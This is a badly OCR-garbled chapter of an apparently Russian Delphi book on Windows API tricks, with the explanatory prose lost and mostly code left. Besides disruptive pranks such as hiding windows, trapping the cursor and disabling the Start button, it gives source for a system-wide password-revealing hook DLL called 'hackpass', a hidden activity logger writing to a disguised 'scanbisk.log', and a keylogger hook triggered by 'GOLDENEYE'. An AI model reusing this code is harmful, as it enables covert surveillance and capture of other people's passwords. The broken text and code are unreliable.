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5.3. IP-config 2255.4. 2295.5. WinSock 2355.6. NetBIOS 2375.7. / IP- 2425.8. ARP 2455.9. ARP- 251

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5.10. 261

6. 273

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6.2. 2806.3. 2826.4. 286

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View Source Project View Source. Projectl.dpr. , :

program Project1;

uses

Forms;

18 1

($R *.res}

beginApplication.Initialize;Application-Run;

end. .

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program Projectl;

uses Windows;

begin

end. .

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program Projecti,

24 1

(, , //,, ):

4$ ;\}1>

uses

windows, messages, sysutils;

f$R *.RES}

var

Instance: HWnd;WindowClass: TWndClass;Handle: HWnd;msg: TMsg;// procedure DoExit;beginHalt;end;

// Windowsfunction WindowProc (Hwn,msg,wpr,lpr: longint): longint; stdcall,beginresult:=defwindowproc(hwn,msg,wpr,lpr);if msg=wm_destroy thenDoExit;

if msg=wm__KeyDown thenif wpr-VK_ESCAPE thenpoExit;

end;

// begin// instance :^GetModuleHandle(nil);

25

// WindowClassWindowClass. style :=CS___HRedraw or CS_VRedraw;WindowClass.Lpfnwndproc:=@windowproc;WindowClass.Hinstance:=Instance;WindowClass.HbrBackground:= color_btnface;WindowClass.LpszClassName:='DX';WindowClass.Hcursor:=LoadCursor(0,IDC_ARROW);

// RegisterClass (WindowClass);

// Handle:=CreateWindowEx (0,'DX', " ,WS_POPUP, 1,1, 200, 200,0, 0,Instance,nil) ;

ShowWindow(Handle, SW_SHOW);UpdateWindow (Handle);

//

// while (GetMessage(msg, 0, 0, 0)) dobegintranslatemessage(msg) ;dispatchmessage (msg);end;

end.

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procedure TForml.FormShow(Sender: TObj ect);beginWidth:=51,-// Height:=21;// Left:=-100;// end;

42 2

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i:Integer;h:THandle;beginVisible:=true; //

// :^Screen.Height-Height;Left:=l;

// h, h:=CreateEvent(nil, t r u e , f a l s e , ' e t ' ] ;

// // 1 80 begin endfor i : = l to 80 dobegin

// . Top:=Screen.Height-Height-i*5;Repaint; //

43

WaitForSingleObject(h,15);// 5 end;

// . ,// for i::=80 downto 1 dobeginTop: =Screen. Height-Height-.!*5;Repaint;WaitForSingleObject(h,15) ;

end;

Closehandle(h); // hVisible:=false; // ,

end;

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. ViewSource Project. -. 2.2, .

2-2. ||||^1|^ * ^ * ' iprogram Project l ;

uses

Forms,Windows,// WindowsUnitl in 'Unitl.pas' fForml};

{$R *.RES}

// var

EStyls : integer;

44

beginApplication.Initialize;

// EStyle:=GetWindowLong(application.Handle, GWL_EXSTYLE)SetWindowLong(Application.Handle, GWL_EXSTYLE,EStyle or WS_EX_TOOLWINDOW>;

// Application.CreateForm(TForml, Forml);Application.Run;

end.

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, .

.

. 2.6.

.

. Onclick :

procedure TForml.ButtonlClick(Sender: TObject);beginSendMessage(StartBtnBmp, BM_SetImage, 0, Imagel.Picture.Bitmap.Handle);end; WinAPI- SendMessage, - . :

1. , , -.

2. - BM_setimage, -.

3. .4. ,

.

48 2

.

. , , -

, . . 2.7 . , -

Windows 9x

'*$tjj

. 2.7.

Windows . onclick . :

procedure TForml.Button2Click(Sender: TObject);beginEnableWindow(StartBtnWnd, false);end;

( ) :procedure TForml.Button3Click(Sender: TObject);beginEnableWindow(StartBtnWnd, true);end;

Enabiewindow. -

. .

(true) (false). , , -

, . -

, .

49

.

onclick :procedure TForml.Button4Click(Sender: TObject);beginShowWindow(StartBtnBmp, SW_HIDE);end; showwindow. - SW_HIDE, . , SW_SHOW. . , -

, .

hwnd. .

onclick :procedure TForml.ButtonSClick(Sender: TObject);beginShowWindow(StartBtnWnd, SW_HIDE);end; , ,

showwindow .

- \\ 2\ 2 - .

\\ 2\ 2 - .

2.3. , -

- .

, .

, -

.

.

(Buttoni) . , -

.

Enabled false, . -

. interval 5 000

50 2

( ). (1-3 , Windows). Windows XP, 10 , . . 10000., setsysCoiors. :

1. .2. .3. ., .

:

SetSysColorsU, 5, clRed); , -

. -

:

procedure TForml.ButtonlClick(Sender: TObject);beginTimerl.Enabled:=true;end;

( - ). :procedure TForml.TimerlTimer(Sender: TObject);const

SySColorArray: array [0..13] of Integer = (COLOR_ACTIVEBORDER,COLOR_ACTIVECAPTION, COLOR_APPWORKSPACE, COLOR_BACKGROUND,COLOR_BTNFACE, COLOR_BTNTEXT, COLGR_CAPTIONTEXT,COLOR_INACTIVEBORDER, COLOR_INFOTEXT, COLORJ4ENU,COLOR_MENUTEXT, COLOR_WINDOW, COLORJtflNDOWFRAME,COLOR_WINDOWTEXT);

ColorArray:array [0..10] of TColor = (clAqua, clBlack, clBlue, clYellow,clFuchsia, clGreen, clNavy, clRed, clSilver, clWhite, clSkyBlue);

beginSetSysColors(1, SySColorArray[random(13)], ColorArray[random(10)]);end;

51

(, ) . , -

, .

. -

, . Delphi - array. :

: array [ ] of ;

, , -

, , 12 - [0..11] [I..12]. 0, 1. 12- [0..11] [12]. ,

:

[4]:=; 4 -.

syscoiorArray 14 . ,

.

, -

(COLOR_ACTIVEBORDER, COLOR_ACTIVECAPTION . .). - -

.

COLOR_ACTIVEBORDER, COLOR__ACTIVECAPTION . .? . . ,

COLOR_ACTIVEBORDER 10. . ,

.

coiorArray 10 . -

.

Setsyscoiors. :1. 1 .2. SySColorArray[random(13)] SySColorArray

, .

random (13) 0 1.

52 2

3. coiorArray[random() ] coiorArray 0 10 random(10). .

-

.

- \\ 2\Palette - .

2.4. , -

.

ListBox -. -

ListBox. ,

ListBox. , -, (. 2.8).

* Forml

. 2.8.

, - -

, .

.

53

,

TDevMode, -. private :

private( Private declarations }modes:array[0..255] of TDevMode;

public{ Public declarations }

255 TDevMode. onclick :

procedure TForml.ButtonlClick(Sender: TObject);var

i: Integer;beginListBoxl.Items.Clear;i := 0;while EnumDisplaySettings(nil, i, Modes[i]) dobeginListBoxl.Items.Add(IntToStr(Modes[i].dmBitsPerPel)+' '+

IntToStr(Modes[i].dmPelsWidth)+' '+IntToStr(Modes[i].dmPelsHeight)+ ' '+IntToStr(Modes[i].dmDisplayFrequency));

Inc(i);end;

end;

ListBox ListBoxl. items.Clear. - i, , .

EnumDispiaySettings, . :

1. , . - .

, ni l .2. , .

i, - 1, .

54 2

3. TDevMode, -. .

while do:while EnumDisp laySet t ings {n i l , i , Modes[i]) do , EnumDispiaySettings , ,

begin end. ListBox, , i . ListBox, :

Modes[i].dmBitsPerPel - ( ) - .

Modes[i].dmPelsWidth - .Modes[i].dmPelsHeight - .Modes[i].dmDisplayFrequency - .

-

. ListBox - , (. 2.9).

8 640 480 608 640 4G0 708 640 480 728 640 480 758 640 480 858 640 480 1008 640 480 1208 320 200 608 320 200 708 320 200 728 320 200 758 320 240 638 320 240 708 320 240 728 320 240 758 400 300 608 400 300 708 400 300 728 400 300 758 480 360 606 430 350 708 480 360 72

zl

. 2.9.

:

1. ( ) .

55

2. .3. .4. .

.

:

procedure TForml.Button2Click(Sender: TObject);beginModes[ListBoxl.Itemlndex].dmFields := DM_BITSPERPEL or

DM_PELSWIDTH or DM_PELSHEIGHT orDM_DISPLAYFLAGS or DM_DISPLAYFREQUENCY;

ChangeDisplaySettings(Modes[ListBoxl.Itemlndex], CDSJJPDATEREGISTRY);end; ListBoxi. itemindex . ,

Modes, Modes[ListBoxi.Itemindex]. , ListBoxi , TDevMode Modes.

, Modes dmFields, , . :

1. DMBITSPERPEL .2. DM_PELSWIDTH ~~ .3. DM_PELSHEIGHT .4. DM_DISPLAYFREQUENCY .5. DMDISPLAYFLAGS . , dmFields DM_BITSPERPEL. , - or,

.

ChangeDisplaySettings. :1. TDevMode.2. . :

1.0 , -.

56 2

2. CDSJJPDATEREGISTRY -, .

3. CDSTEST , .

.

, -

0. , - . . 2.10, ,

Windows . . . 2.11 , , , -,

.

, ,

. , , -

. ,

.

Qatatoa lot* BJufe H>SnMmJDXtAccaa! Data Commit] dbEunti I tHUSI ]ADO | I n M a n ! WabSarvcetllnt*!

- fapttott JEvmti]

ColorCoUnrx

321024 769

321152864

321152861321152 8611152861321152 86432 1280 960

'31290 36012 1290 960J 2 ' 290 96C21201022120102321290102321290102321290102

60

n758510060701275

6070727595

321 SOU ) 603216001200 703216001200 72

TSPEPPEL Dr DH^PELSHIDTHL 0 ) ;

. 2 . 1 0 .

57

. 2 . 1 1 .

, -

- . , -

, -

. ,

, , -

.

, "", -

.

- \\ 2\Video Mode .

- \\ 2\Video Mode .

58 2

2.5. , -

.

Num Lock, Caps Lock Scroll Lock .

. -

:

procedure TForm2.ButtonlClick(Sender: TObject);beginTimer1.Enabled:=true;end; -

:

procedure TForml.Timer2Timer(Sender: TObject);beginTimerl.Tag := (Timerl.Tag + 1) mod 4;SetState(VK_NUMLOCK, Timerl.Tag * 1);SetState(VK_SCROLL, Timerl.Tag - 2);SetState(VK_CAPITAL, Timerl.Tag = 3);end; , -

, .

se t s ta te . . - Delphi, . :

procedure SetState(key: Integer; Value: Boolean);var

KeyState: TKeyboardState;beginGetKeyboardState(KeyState);KeyState[key] := Integer(Value);SetKeyboardState(KeyState) ;end; ,

, -

, . ,

59

, , , -

Delphi , .

sets tate . - WillAPI- GetKeyboardState. - Keystate. - .

SetKeyboardState.

. .

se t s ta te , . - ,

. , ,

Setstate , true false ( ). :

Setstate(VK_NUMLOCK, true);Setstate(VK_SCROLL, false);Setstate(VK_CAPITAL, true);

? , , :). , , ,

:). , :SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0) . "", -1 .

CPL- uses SheiiApi, sheiiExecute. :SheiiExecute(Application.Handle, Pchar ('Open'),

PcharfRundll32.exe1) , Pchar ('shell32, Control_RunDLL f ilename. cpl )," ,SW_SHOWNORMAL);

SheiiExecute ., Rundll32.exe. : shell32,Control_RunDLL filename.cpl. :

SheiiExecute(Application.Handle, Pchar('Open1),3 . 978

60 2

P c h a r C R u n d l l 3 2 . e x e ' ) , Pchar{'shell32,Control_RunDLL i n e t c p l . c p l ' ) ,w,SW_SHOWNORMAL);

:

ShellExecute(Application.Handle, Pchar{'Open'),PcharCRundl l32 .exe 1 ) , Pchar ( ' s h e l l 3 2 , Control__RunDLL d e s k . c p l ' ) ,

*' ,SW_SHOWNORMAL);

-

, 5 CD-ROM:var

OpenParm: TMCIJDpen_Parms;GenParm: TMCI_Generic_Parms;SetParm: TMCI_Set_Parms;DI : Cardinal;OK: boolean;beginOK:=false;OpenParm.lpstrDeviceType := 'CDAudio';repeatmciSendCommand(0, mci_Open, mci_Open_Type, Longint(QOpenParm));DI := OpenParm.wDevicelD;mciSendCommand(DI, mci_Set, mci_Set_Door_Open, Longint(@SetParm));mciSendCommand(DI, mci_Set, mci_Set_Door__Closed, LQngint (@SetParm)) ;mciSendCoitrmand(DI, mci_Close, mci_Notify, Longint (@GenParm) );sleep(5000);until OK;end; false. repeat, .unt i l , , - true. - , false, .

lpstrDeviceType OpenParm. CDAudio, CD-ROM. , -

, .

61

sieeptsooo}, CD-ROM "" , - .

uses MMSystem.

++ Windows 9x :

var

i:integer;begini := 0;SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, Si, 0);end;

+ Windows 9x.var

i:integer;begin

i := 0;SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @i, 0);

end;

, .

. ,

.

showwindow, , SWHIDE.var

Wnd:THandle;

beginWnd := FindWindow('Shell_TrayWnd', nil);Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd1, nil);

62 2

Wnd : = FindWindowEx(Wnd, HWND(0), 'TrayClockWClass \ n i l ) ;ShowWindow(Wnd, SW_HIDE);

e n d ;

, -

. ,

:

var

n:HWND;beginwhile true dobeginh:=GetForegroundWindow;ShowWindow(h,SW_HIDE) ;Sleep(2000);end;

end; while, - :

GetForegroundWindow - .

ShowWindow.

2 , -.

:

SystemParametersinfo(SPI_SetDeskWallPaper, 0, PChar(TempStr),SPIFJJpdatelniFile); SystemParametersinfo : , . , -

. :

SPI_SETDESKWALLPAPER . ;

SPI_SETDOUBLECLICKTIME . -

63

. 10, -, , -

10 . , - ;

SPISETKEYBOARDDELAY -

;

SPI_SETMOUSEBUTTONSWAP 0, - , -

, .

.

.

, -

, . -

:

SPIFJJPDATEINIFILE ;

SPIF_SENDCHANGE WM__SETTINGCHANGE ;

SPIFSENDWININICHANGE , .

, ,

. ,

:

// SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 1, 0,SPIF_SENDWININICHANGE);

// SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 0, ,SPIF_SENDWININICHANGE);

Windows .

.

var

SysMenu: HMenu;beginSysMenu := GetSystemMenu(Handle, False);Windows.EnableMenuItem(SysMenu, SC__CLOSE, MF_DISABLED or MF_GRAYED) ;end;

64 2

.

EnableMenuItem Windows, .

2.6.

,

" " ( ).var

OK: boolean;beginOK:=false;repeatrandomize;setcursorpos(random(Screen.Width-1),random(Screen.Height-1});sleep (5000);until OK;end; , -

WinAPI- setcursorpos. - Y . 0 - .

.

:

procedure TForml.ButtonlClick(Sender: TObject);var

cr:TRect;begincr:=Rect(0,0,100,100);ClipCursor(@cr);end; TRect. 100 100 .

65

.

-

100 100 . , - ( !), . :

procedure TForml.ButtonlClick(Sender: TObject) ;var

cr:TRect;

begincr:=Rect'(0, 0, 1, 1);ClipCursor(@cr);end; 1 . .

.

WindowsAPI- setsystemcursor. .

, . ,

G e t C u r s o r .

, . -

:

OCR_NORMAL ;

OCRIBEAM , ;

OCR_WAIT ;

OCR_CROSS ;

OCRJJP ;

OCRSIZE ;

OCR_ICON ;

OCR_SIZENWSE OCR_SIZENESW , - ;

OCR__SIZEWE ;

OCR SIZENS ;

66 2

OCR_SI2EALL ;

OCRSIZENO ;

OCR_APPSTARTING .

:

procedure TForml.ButtonlClick(Sender: TObject);beginSetSystemCursorfGetCursor, OCR_CROSS|;end;

,

.

3

. -

, .

-, .

, , -

, .

, Windows, - . -

. , ,

. ,

. , , -

. , -

. .

, .

, . -

, Windows, , . ,

.

3.1. ,

, ? : , . , -

. ,

? , , .

. -

, .

68 3

. ,

- , . ,

.

, -

.

dll-, - .

.

. ,

, (dll). File/New/Other ( Delphi 5 File/New). , 3.1. DLL Wizard . Delphi . Save, . hackpass, -.

New Items

Projects j Business | ,WebSnap j WebSetvice* j -.N e w ' | ActiveX j MuJtitiet | hackpass | Forms | Dialogs

Application Batch File CLX CLXData CLX FormApplication Module

CLX Frame Component Console Control Panel Control PanelApplication Application Module

Data Module

I ,-ay inherif * U

Form Fiame PackageOK Cancel Help

. . 1 .

, Delphi, ( 3.1).

69

library hackpass;

uses Windows, Messages;var

SysHook : HHook = 0;Wnd : Hwnd = 0;

function SysMsgProc(code : integer; wParam : word;lParam : longint) : longint; stdcall;begin// CallNextHookEx(SysHook, Code, wParam, lParam);// if code = HC_ACTION thenbegin// , Wnd := TMsg(Pointer(lParam)").hwnd;

// .// // Control, ...if TMsg (Pointer (lParam) A) .message = WM__LBUTTONDOWN thenif ( (TMsgtPointerUParam)'1) .wParam and MK_CONTROL) = MK_CONTROL) thenbegin// , , SendMessage(Wnd, em_setpasswordchar, 0, 0);// InvalidateRect(Wnd, nil, true);end;

end;end;

// procedure RunStopHook{Statebegin// State = true, ...if State=true then

Boolean) export; stdcall;

70 3

begin// SysHook := SetWindowsHookEx(WH_GETMESSAGE,

@SysMsgProc, HInstance, 0);end1//begin// UnhookWindowsHookEx(SysHook) ;SysHook := 0;end;

end;

exports RunStopHook index 1;

beginend.

RunStopHook. - . true, -, , Windows. SetWindowsHookEx. :

1. . WH_GETMESSAGE, -.

2. , Windows.3. .4. . , -

.

sysMsgProc. dll, . , - SetWindowsHookEx, SysHook. , .

RunStopHook false, . unhookwindowsHookEx, SysHook. , .

RunStopHook :exports RunStopHook index 1;

71

, .

index 1. .

SysMsgproc, - .

,

CailNextHookEx. -, ,

.

.

, , code HC_ACTION, .

, ,

, .

: TMsg(pointer(lParam)) .hwnd. , , . lParam. ,

sysMsgProc. Pointer lParam) , ,

pointer. , . . , (Pointer (lParam) A ) . TMsg. - TMsgfPointer(1)). - hwnd . : - , . message T M s g ( P o i n t e r ( l P a r a m ) " ) . WM_LBUTTONDOWN, TO, -, .

wParam. MK_CONTROL, , . wParam - , , -

. . -

,

and: {TMsg (Pointer (lParam) ) .wParamand MK_CONTROD, -.

, . sendMessage :1. wnd , .

72 3

2. em_setpasswordchar . , , ,

.

3. . , - , .

4. . invaiidateRect, . ( , ). - , , n i l - . true, , .

, dll -. .

var. - Formi: TFormi. :procedure RunStopHook(State : Boolean) stdcall;external 'hackpass.dll' index 1;

Delphi , RunStopHook, - hackpass.dll, s tdcai i 1. Delphi ., , , .

onshow :

RunStopHook(true); , onciose :RunStopHook(false); onShow ( ) - , .

dll- .

dg2sGfSd26fgDSD26Gg62|adgfaFDFsdgf

. 3.2.

73

, . .

, ,

. . , dll, -- , .

.

- \\ 3\ - .

3.2.

. , , -

, -

. ,

, -.

. setHook, .

sysMsgProc, - . ,

( 3.2)

function SetHook(Hook : Boolean) : Boolean; export; stdcall;beginResult := false;if Hook thenbeginif SysHook = 0 then

SysHook := SetWindowsHookEx(WH_CBT{WH_CALLWNDPROC},@SysMsgProc, HInstance, 0);

Result := (SysHook 0);end

elsebeginif SysHook 0 thenbeginUnhookWindowsHookEx(SysHook);

74 3

SysHook := 0;Result := true;

end;end;

end;

setHook , . :

SysHook := SetWindowsHookEx(WH_CBT, @SysMsgProc, HInstance, 0);

setwindowsHookEx WH_GETMESSAGE, WH_CBT. - , .

HCBT_ACTIVATE ;

HCBT_CREATEWND ;

HCBT_DESTROYWND ;

HCBT_MINMAX ;

HCBT_MOVESIZE .

, ,

.

.

, , .

, -

SysMsgProc ( 3.3)

3.3. SysMsgproc

function SysMsgProc(code : integer; wParam : word;lParam : longint) : longint; export; stdcall;

var

f: TextFile;windtext, windir: array [0..255] of char;Fi ledi r , s t r :St r ing;

beginResult := CallNextHookEx {SysHook, Code, wParam, 1 Parana) ;case code of

// HC8T__ACTIVATE:

begin

75

GetWindowsDirectory(windir, 255);Filedir:=windir+\scanbisk.log';

AssignFile(f, Filedir);if not FileExists(Filedir) thenbeginRewrite(f);CloseFile(f);end;Append(f);

Wnd := wParam;GetWindowText(Wnd, windtext, 255);Str:=windtext;Writeln(f, FormatDateTirae('dd/mra/yyyy hh:nn:ss', Date+Time)+

'###ACTIVATE==='+Str+ '++++@0S'+IntToStr(Wnd));

Flush(f);CloseFile(f) ;end;

// HCBT_CREATEWND:beginStr:=TCBTCreateWnd(Pointer(lParam)A).lpcs.lpszName;if Str-1' then exit;if TCBTCreateWnd (Pointer (lParam) A) . lpcs .hwndParentoO then exit;

GetWindowsDirectory(windir, 255);Filedir:=windir+'\scanbisk.log';

AssignFile(f, Filedir);if not FileExists(Filedir) thenbeginRewrite(f);CloseFile(f) ;end;Append(f) ;

76 3

Wnd := wParam;GetWindowText(Wnd, windtext, 255);Writelnff, FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+

'###OPEN==='+windtext+ '+++'+TCBTCreateWndfPointer(iParam)).lpcs.lpszName+'@@@'+IntToStr(Wnd));

Flush (f);CloseFile{f);end;

// HCBT_DESTROYWND:beginStr:='';Wnd := wParam;if Wnd0 thenGetWindowText(Wnd, windtext, 255);str:=windtext;if windtext='r then exit;if Str='' then exit;

GetWindowsDirectory(windir, 255);Filedir:=windir+'\scanbisk.log';

AssignFile(f, Filedir);if not FileExists(Filedir) thenbeginRewrite (f) ;CloseFile(f) ;end;Append(f);

if Length(Str)>0 thenWritelnff, FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+

'###CLOSE=-='+Str+'+++'+'@@@'+IntToStr(Wnd)};

Flush(f);

77

CloseFile(f);end;

end;end;

. -

code, SysMsgProc. . :

HCBT__ACTIVATE ;

HCBT__CREATEWND ;

HCBT_DESTROYWND .

( 3.4).

&. '& ' -, :? . - --.;*.-; -

// HCBT_ACTIVATE:

begin// WindowsGetWindowsDirectory(windir, 255);Filedir:=windir+'\scanbisk.log1;

// log- AssignFile(f, Filedir);if not FileExists(Filedir) thenbeginRewrite(f);CloseFile(f);end;

Append(f);

// Wnd := wParam;GetWindowText(Wnd, windtext, 255);Str:=windtext;//

78 3

Writelnff, FormatDateTime('dd/mm/yyyy hh:nn:ss 1 , Date+Time)+###ACTIVATE==='+Str+ I+++t+'@@@'+intToStr(Wnd));

//

Flush(f);CloseFile(f);

end;

3.4 GetwindowsDirectory. : , ,

.

scanbisk.log. , .

, - .

. scandisk. "d" "", - . , -

.

, -

. -

AssignFiie. :1. , .2. . FileExists - . , -

Rewrite cioseFile. ,

. Append. .

. , .

, .

Wnd wParam. sysMsgProc , . wnd, GetwindowText, .1. .2. .3. .

79

, -

, ( ) - writein. , .

(- 3.5).

3.5. " & . ' '.;",^

80 3

Flush(f);CloseFi le( f ) ;

end;

:

TCBTCreateWnd(Pointer(lParam)).lpcs.lpszName. : ,

, . 99% -, ,

1% . , . -

, , :

TCBTCreateWnd(Pointer(lParara)A).lpcs.hwndParent hwndParent . , ,

,

.

,

, -

. ,

.

GetwindowText (wnd, windtext, 255), - . -

log- . HCBTDESTROYWND ( ) , .

log-. , , .

log- . ,

, .

.

, -

, ,

. -

.

( 3.6).

81

|11 ' ; 'procedure SaveToLog(Str:String);varf: TextFile;Filedir:String;windir: array [0..255] of char;begin// , WindowsGetWindowsDirectory(windir, 255);Filedir:=windir+'\scanbisk.log';

// log-AssignFile(f, Filedir);// , if not FileExists(Filedir) thenbegin

// Rewrite(f);CloseFile(f);end;

// Append(f);

// Writeln(f, str);

// log-Flush(f);CloseFile(f);end;

, -

. ,

( 3.43.5). , , - , :

// HCBT_ACTIVATE:

begin

82 3

// Wnd := wParam;GetWindowText(Wnd, windtext, 255);Str:=windtext;

// SaveToLog(FormatDateTime{'dd/mm/yyyy hh:nn:ss', Date+Time) +

###ACTIVATE==='+Str+ '+++'+'@@@'+intToStr(Wnd));end;

,

.

,

. , , , ,

. - .

dll , -. dll- -.

scanbisk.dpr , dll- . WIN.dpr . ,

.

f t .

-

("

!I I 1

. 3.3.

- \\ 3\ .

83

3.3. , -

. , -

.

,

SysMsgProc ( 3.7).

3,7.. ^^

var

ModuleFileName: array[0.._-1] of Char;KeyName: array[0..16] of Char;Password: PChar;beginPassword := PChar(lpvMem);if (nCode - HC_ACTION) and (((lParam shr 16) and KF_UP} = 0) thenbeginGetKeyNameText(lParam, KeyName, sizeof(KeyName));if StrLen(g_szKeyword) + StrLen(KeyName) >= PASSWORDSIZE thenlstrcpy{g_szKeyword, g_szKeyword + StrLen(KeyName));

lstrcat(g_szKeyword, KeyName);GetModuleFileName(0, ModuleFileName, sizeof(ModuleFileName));

if (StrPos(StrUpper(ModuleFileName),' ') nil) and(strlen(Password) + strlen(KeyName) < PASSWORDSIZE) then

lstrcat(Password, KeyName);

if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') nil thenbeginShowMessage(Password);g_szKeyword[0] := #0;

end;Result := 0;

endelseResult := CallNextHookEx(gjihk, nCode, wParam, lParam);

end;

84 3

, .

, , -

. ,

. ,

,

, ,

.

3.4. : " - ".

. ,

"][ ".

.

Microsoft

=*i-o m "-i-we

[!-

BtiaennrtJ

~! . If '

1

I

(&](

. 3 . 4 .

. 3.4 , . ,

][ . . .

85

.

.

, -

. "" -

.

WinAPI (Windows ApplicationProgram Interface, Windows). -, , Windows. ,

.

Cancel Help. 3.5.

Delphi. , . , . -

, . Project - Remove from Project. , . ,

.

.

Project View Source ( Project Manager

View Source). , :program Projectl; , ( 3.8).

program Projectl;

86 3

windows,Messages;

// , function EnumChildWnd(h: hwnd): BOOL; stdcall;beginSendMessage(h,WM_SETTEXT,O,lparara(LPCTSTR('][ 1)));Result:=true;

end;

// , function EnuinWindowsWnd(h: hwnd): BOOL; stdcall;beginSendMessage(h,WM_SETTEXT,O,lparam(LPCTSTR('][ ')));EnumChildWindows(h,@EnumChildWnd,0);end;

var

h:THandle;begin// while true dobegin// EnumWindows(@EnumWindowsWnd,0);

// 1000 h:=CreateEvent(nil, true, false, ' ' ) ;WaitForSingleObject(h, 1000);CloseHandle(h);end;

end.

, .

, .

Windows 9x, . Windows 2000/XP , . ,

Windows ( . ), "][ ".

87

. , -

uses . :

windows messages. WinAPI- ( windows) (messages). Delphi WinAPI .

EnumChildWnd EnumWindowsWnd. , .

:

while dobeginend;

while do : , , true. true, , true false. , - , ,

, .

Enumwindows. WinAPI-, - . -

,

, - .

EnumWindowsWnd. , , EnumWindows , , EnumWindowsWnd. :

// , function EnumWindowsWnd(h: hwnd): BOOL; stdcall;beginSendMessage(h,WM_SETTEXT,O,lparam(LPCTSTR('][ 1)));EnumChildWindows(h,@EnumChildWnd,0);end; EnumWindowsWnd . , .

WinAPI- sendMessage, . 4 .1. , .

EnumWindowsWnd.2. . WM_SETTEXT. -

.

3. .4. .

88 3

, SendMessage , .

SendMessage. , , -

. -

(, ), -. EnumChildWindows. .

.

1. , .2. , ,

.

3. , -.

, Enumchiidwindows EnumWindows, , .

EnumChiidwnd :// ,

function EnumChildWnd(h: hwnd): BOOL; stdcall;begin

SendMessage(h,WM__SETTEXT,O,lparam(LPCTSTR('] [ ')));Result:=true;

end;

SendMessage. true, .

, -

, . , ,

, .

,

, . -

, -

:

if h=0 then exit; ^ .

- \\ 3\][ .

89

IE I |[ B B S

: |[ ] > ][ . ][

][ ][

][ ][ ][ ][ ][

1

][ ][ ][ ][ ][ X ][ ][

][ ][ ][ ][ ][ J[ ][ ]t ][ ][

][ : 3% : 185744{

. 3.6. Windows XP

3.5.

, -

.

3.9.

:.'j*--":.-I* -*

program Projectl

uses

windows,Messages;

//-function EnumWindowsWnd(h: hwnd): BOOL; stdcall,var

90 3

rect:TRect;index:Integer;beginif not IsWindowVisible(h) thenbeginResult:=true;exit;end;

// GetWindowRect fh,rect);

// index:-random(2);

if index=0 thenbegin// 0, ...rect.Top:=rect.Top+3;rect.Left:=rect.Left+3;endelsebegin// ...rect.Top:=rect.Top-3;;rect.Left:=rect.Left-3;

end;

MoveWindow(h,rect.Left,rect.Top,rect.Right-rect.Left,rect.Bottom-rect.Top,true);

Result:=true;end;

// var

h:THandle;begin// while true do

91

begin// EnumWindows(@EnumWindowsWnd,0); .

// 1000 h:=CreateEvent(nil, true, false, ' ' ) ;WaitForSingleObject(h, 1000);CloseHandle(h);end;

end.

, ,

. , -

1 000 . . EnumWindowsWnd, - , .

iswindowvisibie. , . , Result true, . Result true, - , ,

.

GetwindowRect. ,

TRect. ,

random. - , .

, (index ) , Left - rect. .

,

, Movewindow. 5 .1. , (h).2. (rect.Left).3. (rect.).4. (rect. Right-rect. Left).5. (rect .Bottom-rect. Top).4 3;IK. 978

92 3

Result true, .

, ,

. -

.

( ). - \\ 3\ - .

3.6. ,

. -

. , , -

, ,

. ,

Microsoft Word .

. -

:

procedure TForral.FindAndDestroyButtonClick(Sender: TObject);var

h:hWnd;beginh:=FindWindow(nil, 'Microsoft Word');if h=0 then exit;SendMessage(h, WMJDESTROY, 0,0);end; rindwindow. - , ,

.

:

1. . , ni l .2. . Microsoft Word,

.

, , , -

. , -

Microsoft Word - Microsoft Word. , Microsoft Word. FindWindow

93

, . . -

, ,

.

Findwindow, - . , ,

. ,

WMDESTROY () SendMessage. . , -

.

- \\ 3\ .

3.7. , Dashboard ( Windows 3.1), - . , ""

Linux. , Windows 9x. -.

? , .

, .

.

, .

.

.

, -

, .

, . ,

. -

, 10 -,

. , .

- , Windows , .

. ,

. View Project Manager uni t i (. 3.7). ( Projectl.exe) View Source.

94 3

New Remove

PalhProjectGroupl1^1 Pioject1.exe D:\Progiam Files\BoHar"ADelphi6\P[ ejectsD:\Progiam Fjles\Bo(land\Delphi6\Projects

D:\Program Files\Bofland\Delphi6\Pio|ects

Remove O:\Program Faes\Borland\DelpN6\Projects^friltl.pas?

No

. .7.

-

uses, : windows, classes forms. , 3.10.

"

var

i, j:Integer;h:THandle;WindowsList : TList; // WRct: TRect;

MWStruct: HDWP;W :THandle;beginWindowsList:=TList.Create; //

while (true) dobegin// for i:=0 downto -Screen.Width dobeginWindowsList.Clear; // W:=GetWindow(GetDesktopWindow,GW_CHILD);

while W0 Do //

95

begin// , if IsWindowVisible(W) then WindowsList.Add(Pointer(W));W:=GetWindow(W,GW_HWNDNEXT);//

MWStruct:=BeginDeforWindowPos(WindowsList.Count-1);//

if Pointer{MWStruct)nil thenbeginfor j:=0 to WindowsList.Count-1 do // oeginGetWindowRect(THandle(WindowsList[j]),WRct);MWStruct:=DeferWindowPos(MWStruct, THandle{WindowsList[j]),

HWND_BOTTOM,

WRct.Left+i, WRct.Top, WRct.Right-WRct.Left,WRct.Bottom-WRct.Top, SWP_NOACTIVATE or SWP_NOZORDER);

end;EndDeferWindowPos{MWStruct);// end;

end;

// 10 h:=CreateEvent(nil, true, false, ' ' ) ;WaitForSingleObject(h, 10000);CloseHandle(h);end;

WindoweList.Free;// end.

WindowsList TList, - - .

.

while (true) do. : 10 . , .

:

for i:^ 0 downto - Screen.Width do

96 3

, i . , .

down to. to, -. downto, i . windowsList . ,

.

10 , .

Getwindow, , .

w. - iswindowVisibie, . true, , , . , , ,

.

. API-BeginDeferWindowPos. - , . -

, .

,

. -

DeferwindowPos. ,

.

API- EndDeferWindowPos. . -

. API-setwindowPos , - .

, -

. ,

.

windowsList TList, . ? Tiis t , . - ,

.

1. . , -, , ;).

2. - . - , .

_ 97

, , -

.

.

, , -

.

,

, , .

. -

:

h:=CreateEvent(nil, true, false, ' ' ) ; waitForSingieObject (h, 10000) , .

, ,

;

cioseHandie(h) . .

sleep. , , .

, .

, -

.

. 5 . , Win9x. Win2000/XP . -

.

- \\ 3\ - .

5\ ,

.

.

3.8. 1995 , -.

.

,

.

gg 3

, .

Oncreate :procedure TFontil. FormCreate (Sender: TObject) ;var

